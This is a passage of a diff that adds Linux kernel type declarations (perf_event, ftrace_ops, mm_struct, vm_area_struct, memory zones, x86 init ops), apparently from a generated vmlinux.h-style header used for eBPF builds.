comm_exec: 1; + __u64 use_clockid: 1; + __u64 context_switch: 1; + __u64 write_backward: 1; + __u64 namespaces: 1; + __u64 ksymbol: 1; + __u64 bpf_event: 1; + __u64 aux_output: 1; + __u64 cgroup: 1; + __u64 text_poke: 1; + __u64 build_id: 1; + __u64 inherit_thread: 1; + __u64 remove_on_exec: 1; + __u64 sigtrap: 1; + __u64 __reserved_1: 26; + union { + __u32 wakeup_events; + __u32 wakeup_watermark; + }; + __u32 bp_type; + union { + __u64 bp_addr; + __u64 kprobe_func; + __u64 uprobe_path; + __u64 config1; + }; + union { + __u64 bp_len; + __u64 kprobe_addr; + __u64 probe_offset; + __u64 config2; + }; + __u64 branch_sample_type; + __u64 sample_regs_user; + __u32 sample_stack_user; + __s32 clockid; + __u64 sample_regs_intr; + __u32 aux_watermark; + __u16 sample_max_stack; + __u16 __reserved_2; + __u32 aux_sample_size; + __u32 __reserved_3; + __u64 sig_data; + __u64 config3; +}; + +struct hw_perf_event_extra { + u64 config; + unsigned int reg; + int alloc; + int idx; +}; + +struct arch_hw_breakpoint { + long unsigned int address; + long unsigned int mask; + u8 len; + u8 type; +}; + +struct rhash_head { + struct rhash_head *next; +}; + +struct rhlist_head { + struct rhash_head rhead; + struct rhlist_head *next; +}; + +struct hw_perf_event { + union { + struct { + u64 config; + u64 last_tag; + long unsigned int config_base; + long unsigned int event_base; + int event_base_rdpmc; + int idx; + int last_cpu; + int flags; + struct hw_perf_event_extra extra_reg; + struct hw_perf_event_extra branch_reg; + }; + struct { + struct hrtimer hrtimer; + }; + struct { + struct list_head tp_list; + }; + struct { + u64 pwr_acc; + u64 ptsc; + }; + struct { + struct arch_hw_breakpoint info; + struct rhlist_head bp_list; + }; + struct { + u8 iommu_bank; + u8 iommu_cntr; + u16 padding; + u64 conf; + u64 conf1; + }; + }; + struct task_struct *target; + void *addr_filters; + long unsigned int addr_filters_gen; + int state; + local64_t prev_count; + u64 sample_period; + union { + struct { + u64 last_period; + local64_t period_left; + }; + struct { + u64 saved_metric; + u64 saved_slots; + }; + }; + u64 interrupts_seq; + u64 interrupts; + u64 freq_time_stamp; + u64 freq_count_stamp; +}; + +struct wait_queue_head { + spinlock_t lock; + struct list_head head; +}; + +typedef struct wait_queue_head wait_queue_head_t; + +struct rcuwait { + struct task_struct *task; +}; + +struct irq_work { + struct __call_single_node node; + void (*func)(struct irq_work *); + struct rcuwait irqwait; +}; + +struct perf_addr_filters_head { + struct list_head list; + raw_spinlock_t lock; + unsigned int nr_file_filters; +}; + +struct perf_sample_data; + +typedef void (*perf_overflow_handler_t)(struct perf_event *, struct perf_sample_data *, struct pt_regs *); + +struct ftrace_ops; + +struct ftrace_regs; + +typedef void (*ftrace_func_t)(long unsigned int, long unsigned int, struct ftrace_ops *, struct ftrace_regs *); + +struct ftrace_hash; + +struct ftrace_ops_hash { + struct ftrace_hash *notrace_hash; + struct ftrace_hash *filter_hash; + struct mutex regex_lock; +}; + +enum ftrace_ops_cmd { + FTRACE_OPS_CMD_ENABLE_SHARE_IPMODIFY_SELF = 0, + FTRACE_OPS_CMD_ENABLE_SHARE_IPMODIFY_PEER = 1, + FTRACE_OPS_CMD_DISABLE_SHARE_IPMODIFY_PEER = 2, +}; + +typedef int (*ftrace_ops_func_t)(struct ftrace_ops *, enum ftrace_ops_cmd); + +struct ftrace_ops { + ftrace_func_t func; + struct ftrace_ops *next; + long unsigned int flags; + void *private; + ftrace_func_t saved_func; + struct ftrace_ops_hash local_hash; + struct ftrace_ops_hash *func_hash; + struct ftrace_ops_hash old_hash; + long unsigned int trampoline; + long unsigned int trampoline_size; + struct list_head list; + ftrace_ops_func_t ops_func; + long unsigned int direct_call; +}; + +struct pmu; + +struct perf_event_pmu_context; + +struct perf_buffer; + +struct fasync_struct; + +struct perf_addr_filter_range; + +struct pid_namespace; + +struct bpf_prog; + +struct trace_event_call; + +struct event_filter; + +struct perf_cgroup; + +struct perf_event { + struct list_head event_entry; + struct list_head sibling_list; + struct list_head active_list; + struct rb_node group_node; + u64 group_index; + struct list_head migrate_entry; + struct hlist_node hlist_entry; + struct list_head active_entry; + int nr_siblings; + int event_caps; + int group_caps; + struct perf_event *group_leader; + struct pmu *pmu; + void *pmu_private; + enum perf_event_state state; + unsigned int attach_state; + local64_t count; + atomic64_t child_count; + u64 total_time_enabled; + u64 total_time_running; + u64 tstamp; + struct perf_event_attr attr; + u16 header_size; + u16 id_header_size; + u16 read_size; + struct hw_perf_event hw; + struct perf_event_context *ctx; + struct perf_event_pmu_context *pmu_ctx; + atomic_long_t refcount; + atomic64_t child_total_time_enabled; + atomic64_t child_total_time_running; + struct mutex child_mutex; + struct list_head child_list; + struct perf_event *parent; + int oncpu; + int cpu; + struct list_head owner_entry; + struct task_struct *owner; + struct mutex mmap_mutex; + atomic_t mmap_count; + struct perf_buffer *rb; + struct list_head rb_entry; + long unsigned int rcu_batches; + int rcu_pending; + wait_queue_head_t waitq; + struct fasync_struct *fasync; + unsigned int pending_wakeup; + unsigned int pending_kill; + unsigned int pending_disable; + unsigned int pending_sigtrap; + long unsigned int pending_addr; + struct irq_work pending_irq; + struct callback_head pending_task; + unsigned int pending_work; + atomic_t event_limit; + struct perf_addr_filters_head addr_filters; + struct perf_addr_filter_range *addr_filter_ranges; + long unsigned int addr_filters_gen; + struct perf_event *aux_event; + void (*destroy)(struct perf_event *); + struct callback_head callback_head; + struct pid_namespace *ns; + u64 id; + atomic64_t lost_samples; + u64 (*clock)(); + perf_overflow_handler_t overflow_handler; + void *overflow_handler_context; + perf_overflow_handler_t orig_overflow_handler; + struct bpf_prog *prog; + u64 bpf_cookie; + struct trace_event_call *tp_event; + struct event_filter *filter; + struct ftrace_ops ftrace_ops; + struct perf_cgroup *cgrp; + void *security; + struct list_head sb_list; +}; + +enum l1tf_mitigations { + L1TF_MITIGATION_OFF = 0, + L1TF_MITIGATION_FLUSH_NOWARN = 1, + L1TF_MITIGATION_FLUSH = 2, + L1TF_MITIGATION_FLUSH_NOSMT = 3, + L1TF_MITIGATION_FULL = 4, + L1TF_MITIGATION_FULL_FORCE = 5, +}; + +typedef s32 old_time32_t; + +struct old_timespec32 { + old_time32_t tv_sec; + s32 tv_nsec; +}; + +struct uid_gid_extent { + u32 first; + u32 lower_first; + u32 count; +}; + +struct uid_gid_map { + u32 nr_extents; + union { + struct uid_gid_extent extent[5]; + struct { + struct uid_gid_extent *forward; + struct uid_gid_extent *reverse; + }; + }; +}; + +typedef struct { + gid_t val; +} kgid_t; + +struct proc_ns_operations; + +struct ns_common { + atomic_long_t stashed; + const struct proc_ns_operations *ops; + unsigned int inum; + refcount_t count; +}; + +struct rw_semaphore { + atomic_long_t count; + atomic_long_t owner; + struct optimistic_spin_queue osq; + raw_spinlock_t wait_lock; + struct list_head wait_list; + void *magic; + struct lockdep_map dep_map; +}; + +struct work_struct; + +typedef void (*work_func_t)(struct work_struct *); + +struct work_struct { + atomic_long_t data; + struct list_head entry; + work_func_t func; + struct lockdep_map lockdep_map; +}; + +struct ctl_table; + +struct ctl_table_root; + +struct ctl_table_set; + +struct ctl_dir; + +struct ctl_node; + +struct ctl_table_header { + union { + struct { + struct ctl_table *ctl_table; + int used; + int count; + int nreg; + }; + struct callback_head rcu; + }; + struct completion *unregistering; + struct ctl_table *ctl_table_arg; + struct ctl_table_root *root; + struct ctl_table_set *set; + struct ctl_dir *parent; + struct ctl_node *node; + struct hlist_head inodes; +}; + +struct ctl_dir { + struct ctl_table_header header; + struct rb_root root; +}; + +struct ctl_table_set { + int (*is_seen)(struct ctl_table_set *); + struct ctl_dir dir; +}; + +struct ucounts; + +struct user_namespace { + struct uid_gid_map uid_map; + struct uid_gid_map gid_map; + struct uid_gid_map projid_map; + struct user_namespace *parent; + int level; + kuid_t owner; + kgid_t group; + struct ns_common ns; + long unsigned int flags; + bool parent_could_setfcap; + struct list_head keyring_name_list; + struct key *user_keyring_register; + struct rw_semaphore keyring_sem; + struct work_struct work; + struct ctl_table_set set; + struct ctl_table_header *sysctls; + struct ucounts *ucounts; + long int ucount_max[10]; + long int rlimit_max[4]; +}; + +struct kstat { + u32 result_mask; + umode_t mode; + unsigned int nlink; + uint32_t blksize; + u64 attributes; + u64 attributes_mask; + u64 ino; + dev_t dev; + dev_t rdev; + kuid_t uid; + kgid_t gid; + loff_t size; + struct timespec64 atime; + struct timespec64 mtime; + struct timespec64 ctime; + struct timespec64 btime; + u64 blocks; + u64 mnt_id; + u32 dio_mem_align; + u32 dio_offset_align; + u64 change_cookie; +}; + +struct smp_ops { + void (*smp_prepare_boot_cpu)(); + void (*smp_prepare_cpus)(unsigned int); + void (*smp_cpus_done)(unsigned int); + void (*stop_other_cpus)(int); + void (*crash_stop_other_cpus)(); + void (*smp_send_reschedule)(int); + int (*cpu_up)(unsigned int, struct task_struct *); + int (*cpu_disable)(); + void (*cpu_die)(unsigned int); + void (*play_dead)(); + void (*send_call_func_ipi)(const struct cpumask *); + void (*send_call_func_single_ipi)(int); +}; + +typedef struct { + arch_rwlock_t raw_lock; + unsigned int magic; + unsigned int owner_cpu; + void *owner; + struct lockdep_map dep_map; +} rwlock_t; + +struct kref { + refcount_t refcount; +}; + +typedef struct lockdep_map *lockdep_map_p; + +struct maple_tree { + union { + spinlock_t ma_lock; + lockdep_map_p ma_external_lock; + }; + void *ma_root; + unsigned int ma_flags; +}; + +struct swait_queue_head { + raw_spinlock_t lock; + struct list_head task_list; +}; + +struct completion { + unsigned int done; + struct swait_queue_head wait; +}; + +struct percpu_counter { + raw_spinlock_t lock; + s64 count; + struct list_head list; + s32 *counters; +}; + +struct ldt_struct; + +struct vdso_image; + +typedef struct { + u64 ctx_id; + atomic64_t tlb_gen; + struct rw_semaphore ldt_usr_sem; + struct ldt_struct *ldt; + long unsigned int flags; + struct mutex lock; + void *vdso; + const struct vdso_image *vdso_image; + atomic_t perf_rdpmc_allowed; + u16 pkey_allocation_map; + s16 execute_only_pkey; +} mm_context_t; + +struct xol_area; + +struct uprobes_state { + struct xol_area *xol_area; +}; + +struct mm_cid; + +struct linux_binfmt; + +struct kioctx_table; + +struct mm_struct { + struct { + struct maple_tree mm_mt; + long unsigned int (*get_unmapped_area)(struct file *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); + long unsigned int mmap_base; + long unsigned int mmap_legacy_base; + long unsigned int task_size; + pgd_t *pgd; + atomic_t membarrier_state; + atomic_t mm_users; + atomic_t mm_count; + struct mm_cid *pcpu_cid; + long unsigned int mm_cid_next_scan; + atomic_long_t pgtables_bytes; + int map_count; + spinlock_t page_table_lock; + struct rw_semaphore mmap_lock; + struct list_head mmlist; + int mm_lock_seq; + long unsigned int hiwater_rss; + long unsigned int hiwater_vm; + long unsigned int total_vm; + long unsigned int locked_vm; + atomic64_t pinned_vm; + long unsigned int data_vm; + long unsigned int exec_vm; + long unsigned int stack_vm; + long unsigned int def_flags; + seqcount_t write_protect_seq; + spinlock_t arg_lock; + long unsigned int start_code; + long unsigned int end_code; + long unsigned int start_data; + long unsigned int end_data; + long unsigned int start_brk; + long unsigned int brk; + long unsigned int start_stack; + long unsigned int arg_start; + long unsigned int arg_end; + long unsigned int env_start; + long unsigned int env_end; + long unsigned int saved_auxv[50]; + struct percpu_counter rss_stat[4]; + struct linux_binfmt *binfmt; + mm_context_t context; + long unsigned int flags; + spinlock_t ioctx_lock; + struct kioctx_table *ioctx_table; + struct task_struct *owner; + struct user_namespace *user_ns; + struct file *exe_file; + long unsigned int numa_next_scan; + long unsigned int numa_scan_offset; + int numa_scan_seq; + atomic_t tlb_flush_pending; + atomic_t tlb_flush_batched; + struct uprobes_state uprobes_state; + atomic_long_t hugetlb_usage; + struct work_struct async_put_work; + long unsigned int ksm_merging_pages; + long unsigned int ksm_rmap_items; + }; + long unsigned int cpu_bitmap[0]; +}; + +struct workqueue_struct; + +struct delayed_work { + struct work_struct work; + struct timer_list timer; + struct workqueue_struct *wq; + int cpu; +}; + +struct rcu_work { + struct work_struct work; + struct callback_head rcu; + struct workqueue_struct *wq; +}; + +struct rcu_segcblist { + struct callback_head *head; + struct callback_head **tails[4]; + long unsigned int gp_seq[4]; + long int len; + long int seglen[4]; + u8 flags; +}; + +struct srcu_node; + +struct srcu_struct; + +struct srcu_data { + atomic_long_t srcu_lock_count[2]; + atomic_long_t srcu_unlock_count[2]; + int srcu_nmi_safety; + long: 64; + long: 64; + long: 64; + spinlock_t lock; + struct rcu_segcblist srcu_cblist; + long unsigned int srcu_gp_seq_needed; + long unsigned int srcu_gp_seq_needed_exp; + bool srcu_cblist_invoking; + struct timer_list delay_work; + struct work_struct work; + struct callback_head srcu_barrier_head; + struct srcu_node *mynode; + long unsigned int grpmask; + int cpu; + struct srcu_struct *ssp; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct srcu_node { + spinlock_t lock; + long unsigned int srcu_have_cbs[4]; + long unsigned int srcu_data_have_cbs[4]; + long unsigned int srcu_gp_seq_needed_exp; + struct srcu_node *srcu_parent; + int grplo; + int grphi; +}; + +struct srcu_usage; + +struct srcu_struct { + unsigned int srcu_idx; + struct srcu_data *sda; + struct lockdep_map dep_map; + struct srcu_usage *srcu_sup; +}; + +struct srcu_usage { + struct srcu_node *node; + struct srcu_node *level[3]; + int srcu_size_state; + struct mutex srcu_cb_mutex; + spinlock_t lock; + struct mutex srcu_gp_mutex; + long unsigned int srcu_gp_seq; + long unsigned int srcu_gp_seq_needed; + long unsigned int srcu_gp_seq_needed_exp; + long unsigned int srcu_gp_start; + long unsigned int srcu_last_gp_end; + long unsigned int srcu_size_jiffies; + long unsigned int srcu_n_lock_retries; + long unsigned int srcu_n_exp_nodelay; + bool sda_is_static; + long unsigned int srcu_barrier_seq; + struct mutex srcu_barrier_mutex; + struct completion srcu_barrier_completion; + atomic_t srcu_barrier_cpu_cnt; + long unsigned int reschedule_jiffies; + long unsigned int reschedule_count; + struct delayed_work work; + struct srcu_struct *srcu_ssp; +}; + +struct notifier_block; + +typedef int (*notifier_fn_t)(struct notifier_block *, long unsigned int, void *); + +struct notifier_block { + notifier_fn_t notifier_call; + struct notifier_block *next; + int priority; +}; + +struct blocking_notifier_head { + struct rw_semaphore rwsem; + struct notifier_block *head; +}; + +struct arch_uprobe_task { + long unsigned int saved_scratch_register; + unsigned int saved_trap_nr; + unsigned int saved_tf; +}; + +enum uprobe_task_state { + UTASK_RUNNING = 0, + UTASK_SSTEP = 1, + UTASK_SSTEP_ACK = 2, + UTASK_SSTEP_TRAPPED = 3, +}; + +struct uprobe; + +struct return_instance; + +struct uprobe_task { + enum uprobe_task_state state; + union { + struct { + struct arch_uprobe_task autask; + long unsigned int vaddr; + }; + struct { + struct callback_head dup_xol_work; + long unsigned int dup_xol_addr; + }; + }; + struct uprobe *active_uprobe; + long unsigned int xol_vaddr; + struct return_instance *return_instances; + unsigned int depth; +}; + +struct return_instance { + struct uprobe *uprobe; + long unsigned int func; + long unsigned int stack; + long unsigned int orig_ret_vaddr; + bool chained; + struct return_instance *next; +}; + +struct seqcount_raw_spinlock { + seqcount_t seqcount; + raw_spinlock_t *lock; +}; + +typedef struct seqcount_raw_spinlock seqcount_raw_spinlock_t; + +typedef struct { + seqcount_spinlock_t seqcount; + spinlock_t lock; +} seqlock_t; + +enum pcpu_fc { + PCPU_FC_AUTO = 0, + PCPU_FC_EMBED = 1, + PCPU_FC_PAGE = 2, + PCPU_FC_NR = 3, +}; + +struct vdso_image { + void *data; + long unsigned int size; + long unsigned int alt; + long unsigned int alt_len; + long unsigned int extable_base; + long unsigned int extable_len; + const void *extable; + long int sym_vvar_start; + long int sym_vvar_page; + long int sym_pvclock_page; + long int sym_hvclock_page; + long int sym_timens_page; + long int sym_VDSO32_NOTE_MASK; + long int sym___kernel_sigreturn; + long int sym___kernel_rt_sigreturn; + long int sym___kernel_vsyscall; + long int sym_int80_landing_pad; + long int sym_vdso32_sigreturn_landing_pad; + long int sym_vdso32_rt_sigreturn_landing_pad; +}; + +struct xarray { + spinlock_t xa_lock; + gfp_t xa_flags; + void *xa_head; +}; + +typedef u32 errseq_t; + +struct address_space_operations; + +struct address_space { + struct inode *host; + struct xarray i_pages; + struct rw_semaphore invalidate_lock; + gfp_t gfp_mask; + atomic_t i_mmap_writable; + struct rb_root_cached i_mmap; + struct rw_semaphore i_mmap_rwsem; + long unsigned int nrpages; + long unsigned int writeback_index; + const struct address_space_operations *a_ops; + long unsigned int flags; + errseq_t wb_err; + spinlock_t private_lock; + struct list_head private_list; + void *private_data; +}; + +struct vmem_altmap { + long unsigned int base_pfn; + const long unsigned int end_pfn; + const long unsigned int reserve; + long unsigned int free; + long unsigned int align; + long unsigned int alloc; +}; + +struct percpu_ref_data; + +struct percpu_ref { + long unsigned int percpu_count_ptr; + struct percpu_ref_data *data; +}; + +enum memory_type { + MEMORY_DEVICE_PRIVATE = 1, + MEMORY_DEVICE_COHERENT = 2, + MEMORY_DEVICE_FS_DAX = 3, + MEMORY_DEVICE_GENERIC = 4, + MEMORY_DEVICE_PCI_P2PDMA = 5, +}; + +struct dev_pagemap_ops; + +struct dev_pagemap { + struct vmem_altmap altmap; + struct percpu_ref ref; + struct completion done; + enum memory_type type; + unsigned int flags; + long unsigned int vmemmap_shift; + const struct dev_pagemap_ops *ops; + void *owner; + int nr_range; + union { + struct range range; + struct { + struct {} __empty_ranges; + struct range ranges[0]; + }; + }; +}; + +struct folio { + union { + struct { + long unsigned int flags; + union { + struct list_head lru; + struct { + void *__filler; + unsigned int mlock_count; + }; + }; + struct address_space *mapping; + long unsigned int index; + void *private; + atomic_t _mapcount; + atomic_t _refcount; + long unsigned int memcg_data; + }; + struct page page; + }; + union { + struct { + long unsigned int _flags_1; + long unsigned int _head_1; + unsigned char _folio_dtor; + unsigned char _folio_order; + atomic_t _entire_mapcount; + atomic_t _nr_pages_mapped; + atomic_t _pincount; + unsigned int _folio_nr_pages; + }; + struct page __page_1; + }; + union { + struct { + long unsigned int _flags_2; + long unsigned int _head_2; + void *_hugetlb_subpool; + void *_hugetlb_cgroup; + void *_hugetlb_cgroup_rsvd; + void *_hugetlb_hwpoison; + }; + struct { + long unsigned int _flags_2a; + long unsigned int _head_2a; + struct list_head _deferred_list; + }; + struct page __page_2; + }; +}; + +typedef long unsigned int vm_flags_t; + +struct vfsmount; + +struct path { + struct vfsmount *mnt; + struct dentry *dentry; +}; + +enum pid_type { + PIDTYPE_PID = 0, + PIDTYPE_TGID = 1, + PIDTYPE_PGID = 2, + PIDTYPE_SID = 3, + PIDTYPE_MAX = 4, +}; + +struct fown_struct { + rwlock_t lock; + struct pid *pid; + enum pid_type pid_type; + kuid_t uid; + kuid_t euid; + int signum; +}; + +struct file_ra_state { + long unsigned int start; + unsigned int size; + unsigned int async_size; + unsigned int ra_pages; + unsigned int mmap_miss; + loff_t prev_pos; +}; + +struct file { + union { + struct llist_node f_llist; + struct callback_head f_rcuhead; + unsigned int f_iocb_flags; + }; + struct path f_path; + struct inode *f_inode; + const struct file_operations *f_op; + spinlock_t f_lock; + atomic_long_t f_count; + unsigned int f_flags; + fmode_t f_mode; + struct mutex f_pos_lock; + loff_t f_pos; + struct fown_struct f_owner; + const struct cred *f_cred; + struct file_ra_state f_ra; + u64 f_version; + void *f_security; + void *private_data; + struct hlist_head *f_ep; + struct address_space *f_mapping; + errseq_t f_wb_err; + errseq_t f_sb_err; +}; + +struct userfaultfd_ctx; + +struct vm_userfaultfd_ctx { + struct userfaultfd_ctx *ctx; +}; + +struct vma_lock { + struct rw_semaphore lock; +}; + +struct vma_numab_state { + long unsigned int next_scan; + long unsigned int next_pid_reset; + long unsigned int access_pids[2]; +}; + +struct anon_vma; + +struct vm_operations_struct; + +struct vm_area_struct { + union { + struct { + long unsigned int vm_start; + long unsigned int vm_end; + }; + struct callback_head vm_rcu; + }; + struct mm_struct *vm_mm; + pgprot_t vm_page_prot; + union { + const vm_flags_t vm_flags; + vm_flags_t __vm_flags; + }; + int vm_lock_seq; + struct vma_lock *vm_lock; + bool detached; + struct { + struct rb_node rb; + long unsigned int rb_subtree_last; + } shared; + struct list_head anon_vma_chain; + struct anon_vma *anon_vma; + const struct vm_operations_struct *vm_ops; + long unsigned int vm_pgoff; + struct file *vm_file; + void *vm_private_data; + atomic_long_t swap_readahead_info; + struct mempolicy *vm_policy; + struct vma_numab_state *numab_state; + struct vm_userfaultfd_ctx vm_userfaultfd_ctx; +}; + +typedef unsigned int vm_fault_t; + +enum page_entry_size { + PE_SIZE_PTE = 0, + PE_SIZE_PMD = 1, + PE_SIZE_PUD = 2, +}; + +struct vm_fault; + +struct vm_operations_struct { + void (*open)(struct vm_area_struct *); + void (*close)(struct vm_area_struct *); + int (*may_split)(struct vm_area_struct *, long unsigned int); + int (*mremap)(struct vm_area_struct *); + int (*mprotect)(struct vm_area_struct *, long unsigned int, long unsigned int, long unsigned int); + vm_fault_t (*fault)(struct vm_fault *); + vm_fault_t (*huge_fault)(struct vm_fault *, enum page_entry_size); + vm_fault_t (*map_pages)(struct vm_fault *, long unsigned int, long unsigned int); + long unsigned int (*pagesize)(struct vm_area_struct *); + vm_fault_t (*page_mkwrite)(struct vm_fault *); + vm_fault_t (*pfn_mkwrite)(struct vm_fault *); + int (*access)(struct vm_area_struct *, long unsigned int, void *, int, int); + const char * (*name)(struct vm_area_struct *); + int (*set_policy)(struct vm_area_struct *, struct mempolicy *); + struct mempolicy * (*get_policy)(struct vm_area_struct *, long unsigned int); + struct page * (*find_special_page)(struct vm_area_struct *, long unsigned int); +}; + +struct mm_cid { + u64 time; + int cid; +}; + +enum fault_flag { + FAULT_FLAG_WRITE = 1, + FAULT_FLAG_MKWRITE = 2, + FAULT_FLAG_ALLOW_RETRY = 4, + FAULT_FLAG_RETRY_NOWAIT = 8, + FAULT_FLAG_KILLABLE = 16, + FAULT_FLAG_TRIED = 32, + FAULT_FLAG_USER = 64, + FAULT_FLAG_REMOTE = 128, + FAULT_FLAG_INSTRUCTION = 256, + FAULT_FLAG_INTERRUPTIBLE = 512, + FAULT_FLAG_UNSHARE = 1024, + FAULT_FLAG_ORIG_PTE_VALID = 2048, + FAULT_FLAG_VMA_LOCK = 4096, +}; + +struct vm_fault { + const struct { + struct vm_area_struct *vma; + gfp_t gfp_mask; + long unsigned int pgoff; + long unsigned int address; + long unsigned int real_address; + }; + enum fault_flag flags; + pmd_t *pmd; + pud_t *pud; + union { + pte_t orig_pte; + pmd_t orig_pmd; + }; + struct page *cow_page; + struct page *page; + pte_t *pte; + spinlock_t *ptl; + pgtable_t prealloc_pte; +}; + +typedef struct { + struct lockdep_map dep_map; + struct task_struct *owner; +} local_lock_t; + +struct free_area { + struct list_head free_list[6]; + long unsigned int nr_free; +}; + +struct pglist_data; + +struct lruvec { + struct list_head lists[5]; + spinlock_t lru_lock; + long unsigned int anon_cost; + long unsigned int file_cost; + atomic_long_t nonresident_age; + long unsigned int refaults[2]; + long unsigned int flags; + struct pglist_data *pgdat; +}; + +struct per_cpu_pages; + +struct per_cpu_zonestat; + +struct zone { + long unsigned int _watermark[4]; + long unsigned int watermark_boost; + long unsigned int nr_reserved_highatomic; + long int lowmem_reserve[4]; + int node; + struct pglist_data *zone_pgdat; + struct per_cpu_pages *per_cpu_pageset; + struct per_cpu_zonestat *per_cpu_zonestats; + int pageset_high; + int pageset_batch; + long unsigned int zone_start_pfn; + atomic_long_t managed_pages; + long unsigned int spanned_pages; + long unsigned int present_pages; + long unsigned int cma_pages; + const char *name; + long unsigned int nr_isolate_pageblock; + int initialized; + long: 64; + struct cacheline_padding _pad1_; + struct free_area free_area[11]; + long unsigned int flags; + spinlock_t lock; + struct cacheline_padding _pad2_; + long unsigned int percpu_drift_mark; + long unsigned int compact_cached_free_pfn; + long unsigned int compact_cached_migrate_pfn[2]; + long unsigned int compact_init_migrate_pfn; + long unsigned int compact_init_free_pfn; + unsigned int compact_considered; + unsigned int compact_defer_shift; + int compact_order_failed; + bool compact_blockskip_flush; + bool contiguous; + long: 0; + struct cacheline_padding _pad3_; + atomic_long_t vm_stat[10]; + atomic_long_t vm_numa_event[6]; +}; + +struct zoneref { + struct zone *zone; + int zone_idx; +}; + +struct zonelist { + struct zoneref _zonerefs[257]; +}; + +enum zone_type { + ZONE_DMA = 0, + ZONE_DMA32 = 1, + ZONE_NORMAL = 2, + ZONE_MOVABLE = 3, + __MAX_NR_ZONES = 4, +}; + +struct deferred_split { + spinlock_t split_queue_lock; + struct list_head split_queue; + long unsigned int split_queue_len; +}; + +struct memory_failure_stats { + long unsigned int total; + long unsigned int ignored; + long unsigned int failed; + long unsigned int delayed; + long unsigned int recovered; +}; + +struct per_cpu_nodestat; + +struct memory_tier; + +struct pglist_data { + struct zone node_zones[4]; + struct zonelist node_zonelists[2]; + int nr_zones; + long unsigned int node_start_pfn; + long unsigned int node_present_pages; + long unsigned int node_spanned_pages; + int node_id; + wait_queue_head_t kswapd_wait; + wait_queue_head_t pfmemalloc_wait; + wait_queue_head_t reclaim_wait[4]; + atomic_t nr_writeback_throttled; + long unsigned int nr_reclaim_start; + struct task_struct *kswapd; + int kswapd_order; + enum zone_type kswapd_highest_zoneidx; + int kswapd_failures; + int kcompactd_max_order; + enum zone_type kcompactd_highest_zoneidx; + wait_queue_head_t kcompactd_wait; + struct task_struct *kcompactd; + bool proactive_compact_trigger; + long unsigned int totalreserve_pages; + long unsigned int min_unmapped_pages; + long unsigned int min_slab_pages; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad1_; + struct deferred_split deferred_split_queue; + unsigned int nbp_rl_start; + long unsigned int nbp_rl_nr_cand; + unsigned int nbp_threshold; + unsigned int nbp_th_start; + long unsigned int nbp_th_nr_cand; + struct lruvec __lruvec; + long unsigned int flags; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad2_; + struct per_cpu_nodestat *per_cpu_nodestats; + atomic_long_t vm_stat[43]; + struct memory_tier *memtier; + struct memory_failure_stats mf_stats; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct per_cpu_pages { + spinlock_t lock; + int count; + int high; + int batch; + short int free_factor; + short int expire; + struct list_head lists[13]; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct per_cpu_zonestat { + s8 vm_stat_diff[10]; + s8 stat_threshold; + long unsigned int vm_numa_event[6]; +}; + +struct per_cpu_nodestat { + s8 stat_threshold; + s8 vm_node_stat_diff[43]; +}; + +typedef struct pglist_data pg_data_t; + +struct mem_section_usage { + long unsigned int subsection_map[1]; + long unsigned int pageblock_flags[0]; +}; + +struct mem_section { + long unsigned int section_mem_map; + struct mem_section_usage *usage; +}; + +struct x86_init_mpparse { + void (*setup_ioapic_ids)(); + void (*find_smp_config)(); + void (*get_smp_config)(unsigned int); +}; + +struct x86_init_resources { + void (*probe_roms)(); + void (*reserve_resources)(); + char * (*memory_setup)(); +}; + +struct irq_domain; + +struct x86_init_irqs { + void (*pre_vector_init)(); + void (*intr_init)(); + void (*intr_mode_select)(); + void (*intr_mode_init)(); + struct irq_domain * (*create_pci_msi_domain)(); +}; + +struct x86_init_oem { + void (*arch_setup)(); + void (*banner)(); +}; + +struct x86_init_paging { + void (*pagetable_init)(); +}; + +struct x86_init_timers { + void (*setup_percpu_clockev)(); + void (*timer_init)(); + void (*wallclock_init)(); +}; + +struct x86_init_iommu { + int (*iommu_init)(); +}; + +struct x86_init_pci { + int (*arch_init)(); + int (*init)(); + void (*init_irq)(); + void (*fixup_irqs)(); +}; + +struct x86_hyper_init { + void (*init_platform)(); + void (*guest_late_init)(); + bool (*x2apic_available)(); + bool (*msi_ext_dest_id)(); + void (*init_mem_mapping)(); + void (*init_after_bootmem)(); +}; + +struct x86_init_acpi { + void (*set_root_pointer)(u64); + u64 (*get_root_pointer)(); + void (*reduced_hw_early_init)(); +}; + +struct x86_guest { + void (*enc_status_change_prepare)(long unsigned int, int, bool); + bool (*enc_status_change_finish)(long unsigned int, int, bool); + bool (*enc_tlb_flush_required)(bool); + bool (*enc_cache_flush_required)(); +}; + +struct x86_init_ops { + struct x86_init_resources resources; + struct x86_init_mpparse mpparse; + struct x86_init_irqs irqs; + struct x86_init_oem oem; + struct x86_init_paging paging; + struct x86_init_timers timers; + struct x86_init_iommu iommu; + struct x86_init_pci pci; + struct x86_hyper_init hyper; + struct x86_init_acpi acpi; +}; + +struct x86_cpuinit_ops { + void (*setup_percpu_clockev)(); + void (*early_percpu_clock_init)(); + void (*fixup_cpu_id)(struct cpuinfo_x86 *, int); +}; + +struct x86_legacy_devices { + int pnpbios; +}; + +enum x86_legacy_i8042_state { + X86_LEGACY_I8042_PLATFORM_ABSENT = 0, + X86_LEGACY_I8042_FIRMWARE_ABSENT = 1, + X86_LEGACY_I8042_EXPECTED_PRESENT = 2, +}; + +struct x86_legacy_features { + enum x86_legacy_i8042_state i8042; + int rtc; + int warm_reset; + int no_vga; + int reserve_bios_regions; + struct x86_legacy_devices devices; +}; + +struct ghcb; + +struct x86_hyper_runtime { + void (*pin_vcpu)(int); + void (*sev_es_hcall_prepare)(struct ghcb *, struct pt_regs *); + bool (*sev_es_hcall_finish)(struct ghcb *, struct pt_regs *); + bool (*is_private_mmio)(u64); +}; + +struct x86_platform_ops { + long unsigned int (*calibrate_cpu)(); + long unsigned int (*calibrate_tsc)(); + void (*get_wallclock)(struct timespec64 *); + int (*set_wallclock)(const struct timespec64 *); + void (*iommu_shutdown)(); + bool (*is_untracked_pat_range)(u64, u64); + void (*nmi_init)(); + unsigned char (*get_nmi_reason)(); + void (*save_sched_clock_state)(); + void (*restore_sched_clock_state)(); + void (*apic_post_init)(); + struct x86_legacy_features legacy; + void (*set_legacy_features)(); 